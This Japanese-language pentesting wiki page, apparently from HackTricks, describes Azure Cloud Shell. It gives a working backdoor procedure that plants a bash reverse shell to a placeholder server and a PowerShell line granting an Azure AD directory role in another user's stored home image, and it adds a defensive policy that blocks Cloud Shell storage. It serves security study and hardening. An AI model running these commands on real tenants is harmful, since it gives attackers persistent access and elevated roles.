# Az - Cloud Shell

{{#include ../../../banners/hacktricks-training.md}}

## Azure Cloud Shell

**Azure Cloud Shell** は、Azure リソースを管理するために設計されたインタラクティブで認証されたブラウザアクセス可能なターミナルで、Bash または PowerShell のいずれかで作業する柔軟性を提供します。これは、20 分間の非アクティブ状態の後にタイムアウトする一時的なセッションホスト上で実行され、$HOME ロケーションに 5 GB のファイル共有を使用してファイルを保持します。Cloud Shell には、Azure ポータル、shell.azure.com、Azure CLI および PowerShell ドキュメント、Azure モバイルアプリ、Visual Studio Code Azure アカウント拡張機能など、複数のポイントからアクセスできます。

このサービスには権限が割り当てられていないため、特権昇格技術はありません。また、何らかの列挙もありません。

### 主な機能

- **プリインストールされたツール**: Cloud Shell には、Azure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git、vim、nano、emacs などの包括的なプリインストールツールセットが含まれています。これらのツールはすぐに使用できます。インストールされているパッケージやモジュールをリストするには、「Get-Module -ListAvailable」、「tdnf list」、「pip3 list」を使用できます。
- **Azure ドライブ (Azure:)**: Azure Cloud Shell の PowerShell には Azure ドライブ (Azure:) が含まれており、ファイルシステムのようなコマンドを使用して Compute、Network、Storage などの Azure リソースを簡単にナビゲートできます。cd Azure: で Azure ドライブに切り替え、cd ~ でホームディレクトリに戻ります。どのドライブからでもリソースを管理するために Azure PowerShell cmdlet を使用することもできます。
- **カスタムツールのインストール**: ストレージアカウントで Cloud Shell を構成するユーザーは、ルート権限を必要としない追加のツールをインストールできます。この機能により、Cloud Shell 環境のさらなるカスタマイズが可能になり、ユーザーは特定のニーズに合わせてセットアップを調整できます。
- **$HOME の永続性**: Azure Cloud Shell を初めて起動する際、ストレージアカウントを添付するかしないかを選択できます。
- ストレージを添付しないことを選択すると、セッションが終了するとファイルが削除される一時的なセッションが作成されます。
- セッション間でファイルを保持するには、**ストレージアカウントをマウントする**オプションが提供され、これが自動的に `$HOME\clouddrive` として添付され、あなたの `$HOME` ディレクトリは **ファイル共有内の .img ファイルとして保存されます。**

### Cloud Shell フィッシング

攻撃者がストレージアカウント内の他のユーザーの画像を見つけ、読み書きアクセスを持っている場合、彼は画像をダウンロードし、**bash と PS のバックドアを追加し**、再びストレージアカウントにアップロードすることができます。次回ユーザーがシェルにアクセスすると、**コマンドが自動的に実行されます**。

- **画像をダウンロードし、バックドアを追加してアップロードする:**
```bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>

# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp

sudo umount /tmp/cloudpoison

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
```
- **次に、ユーザーをフィッシングして https://shell.azure.com/ にアクセスさせます。**

### Cloud Shell 自動ストレージアカウントを見つけて禁止する

Cloud Shell によって作成されたストレージアカウントは **`ms-resource-usage:azure-cloud-shell`** タグが付けられています。このタグを持つリソースの作成を無効にする Azure リソースポリシーを作成することが可能です。

タグによって Cloud Shell によって作成されたすべてのストレージアカウントを見つけます:
```bash
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
```
タグに基づいてクラウドシェルストレージの自動ストレージアカウントの作成を禁止するポリシー:
```json
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
```
## 参考文献

- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)


## 永続性

{{#ref}}
../az-persistence/az-cloud-shell-persistence.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
